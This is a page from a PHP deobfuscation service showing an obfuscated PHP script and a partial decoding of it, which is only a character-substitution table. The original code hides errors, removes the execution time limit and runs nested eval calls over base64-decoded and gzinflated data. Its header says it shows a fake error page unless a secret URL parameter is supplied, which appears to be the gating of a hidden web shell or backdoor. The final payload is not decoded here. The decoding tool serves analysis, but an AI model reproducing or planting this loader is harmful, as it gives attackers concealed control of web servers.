Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/* Author: 3xp1r3 Pr1nc3 Release Date: 25/11/18 Usage: wrong: tes..

Decoded Output download

$con=["A"=>"q",
      "B"=>"w",
      "C"=>"e",
      "D"=>"r",
      "E"=>"t",
      "F"=>"y",
      "G"=>"u",
      "H"=>"i",
      "I"=>"o",
      "J"=>"p",
      "K"=>"[",
      "L"=>"]",
      "M"=>"a",
      "N"=>"s",
      "O"=>"d",
      "P"=>"f",
      "Q"=>"g",
      "R"=>"h",
      "S"=>"j",
      "T"=>"k",
      "U"=>"l",
      "V"=>";",
      "W"=>"'",
      "X"=>"|",
      "Y"=>"z",
      "Z"=>"x",
      "a"=>"c",
      "b"=>"v",
      "c"=>"b",
      "d"=>"n",
      "e"=>"m",
      "f"=>",",
      "g"=>".",
      "h"=>"}",
      "i"=>"Q",
      "j"=>"W",
      "k"=>"E",
      "l"=>"R",
      "m"=>"T",
      "n"=>"Y",
      "o"=>"U",
      "p"=>"I",
      "q"=>"O",
      "r"=>"P",
      "s"=>"1",
      "t"=>"2",
      "u"=>"A",
      "v"=>"S",
      "w"=>"D",
      "x"=>"F",
      "y"=>"G",
      "z"=>"H",
      "0"=>"J",
      "1"=>"K",
      "2"=>"L",
      "3"=>"0",
      "4"=>"9",
      "5"=>"8",
      "6"=>"7",
      "7"=>"6",
      "8"=>"5",
      "9"=>"4",
      "+"=>"3",
      "/"=>"=",
      "="=>"&"];

Did this file decode correctly?

Original Code

/*
    Author: 3xp1r3 Pr1nc3
    Release Date: 25/11/18
    Usage:
         wrong: testing.php [shows dynamic error page]
         correct: testing.php?3x=3x [now showing main script perfectly]
*/
error_reporting(0);
ini_set('max_execution_time',0);
eval(base64_decode("JGNvbj1bIkEiPT4icSIsCiAgICAgICJCIj0+InciLAogICAgICAiQyI9PiJlIiwKICAgICAgIkQiPT4iciIsCiAgICAgICJFIj0+InQiLAogICAgICAiRiI9PiJ5IiwKICAgICAgIkciPT4idSIsCiAgICAgICJIIj0+ImkiLAogICAgICAiSSI9PiJvIiwKICAgICAgIkoiPT4icCIsCiAgICAgICJLIj0+IlsiLAogICAgICAiTCI9PiJdIiwKICAgICAgIk0iPT4iYSIsCiAgICAgICJOIj0+InMiLAogICAgICAiTyI9PiJkIiwKICAgICAgIlAiPT4iZiIsCiAgICAgICJRIj0+ImciLAogICAgICAiUiI9PiJoIiwKICAgICAgIlMiPT4iaiIsCiAgICAgICJUIj0+ImsiLAogICAgICAiVSI9PiJsIiwKICAgICAgIlYiPT4iOyIsCiAgICAgICJXIj0+IiciLAogICAgICAiWCI9PiJ8IiwKICAgICAgIlkiPT4ieiIsCiAgICAgICJaIj0+IngiLAogICAgICAiYSI9PiJjIiwKICAgICAgImIiPT4idiIsCiAgICAgICJjIj0+ImIiLAogICAgICAiZCI9PiJuIiwKICAgICAgImUiPT4ibSIsCiAgICAgICJmIj0+IiwiLAogICAgICAiZyI9PiIuIiwKICAgICAgImgiPT4ifSIsCiAgICAgICJpIj0+IlEiLAogICAgICAiaiI9PiJXIiwKICAgICAgImsiPT4iRSIsCiAgICAgICJsIj0+IlIiLAogICAgICAibSI9PiJUIiwKICAgICAgIm4iPT4iWSIsCiAgICAgICJvIj0+IlUiLAogICAgICAicCI9PiJJIiwKICAgICAgInEiPT4iTyIsCiAgICAgICJyIj0+IlAiLAogICAgICAicyI9PiIxIiwKICAgICAgInQiPT4iMiIsCiAgICAgICJ1Ij0+IkEiLAogICAgICAidiI9PiJTIiwKICAgICAgInciPT4iRCIsCiAgICAgICJ4Ij0+IkYiLAogICAgICAieSI9PiJHIiwKICAgICAgInoiPT4iSCIsCiAgICAgICIwIj0+IkoiLAogICAgICAiMSI9PiJLIiwKICAgICAgIjIiPT4iTCIsCiAgICAgICIzIj0+IjAiLAogICAgICAiNCI9PiI5IiwKICAgICAgIjUiPT4iOCIsCiAgICAgICI2Ij0+IjciLAogICAgICAiNyI9PiI2IiwKICAgICAgIjgiPT4iNSIsCiAgICAgICI5Ij0+IjQiLAogICAgICAiKyI9PiIzIiwKICAgICAgIi8iPT4iPSIsCiAgICAgICI9Ij0+IiYiXTs="));
$x=str_split("I;shv81Dti6,P6}t;gJje1E.PvgOrK|yKEIPt.injFhxRwGppveh6lFt;,=6vew2KYvvD0.Fn=,n86SfnGQREyhQ]chT,dAa0c2fqoDHORq6IaUcQ.0Tm5JtI8I;j]DdURqI7Ka7E4II|'b5O0qLrpO}2zU4HLJ'Ru]]Adfet=.3KopFr;PqoDo|uWm.n8TurjOL8;7i,lR;EaE'wPYtHoo,rFqJ4lgu1pgkY.mWtjF9mketUAHg,JodktTThpYFWcWU|IzD.JIkcHAkb,285rT5ra]Ix|qhkUdLpxdhnK}6l[s]071pKypUEg1vprA27G33k6Ug[FGTPi8YsoYQiKu5oPnIAEHoLU|Hb0WY}zu}tt;wPtWSmy;]ra52n;AuUhcKzvmuwHbf5,,yaO|T5t7GhL=AUvm]pr;0Wzr9Ftx,Im.63.20i[lf5kGsP3,pKGWLga14iY;g[i3QIdt9faIEp7xW3weWnr2FxxcWa=j,k.I8iYUY;jb05xL8m084i8uKnJPGv4P=za;5pJ6nSvn}LS6xxLqydof|yJ7jA5;5;'LTW1ROrA6cn,1F.pb83wcRO0z=A}i9HgdH'vb6,h6q}7GThjA6]gp]}bm4ASUy");
$new="";
foreach($x as $xx) {
  foreach($con as $main=>$val) {
    if($xx==(string)$val) {
      $new.=$main;
      break;
    }
  }
}
eval(gzinflate(base64_decode($new)));

Function Calls

ini_set 1
base64_decode 1
error_reporting 1

Variables

None

Stats

MD5 7dd9e865adf5d4801b542481b9c274b4
Eval Count 1
Decode Time 99 ms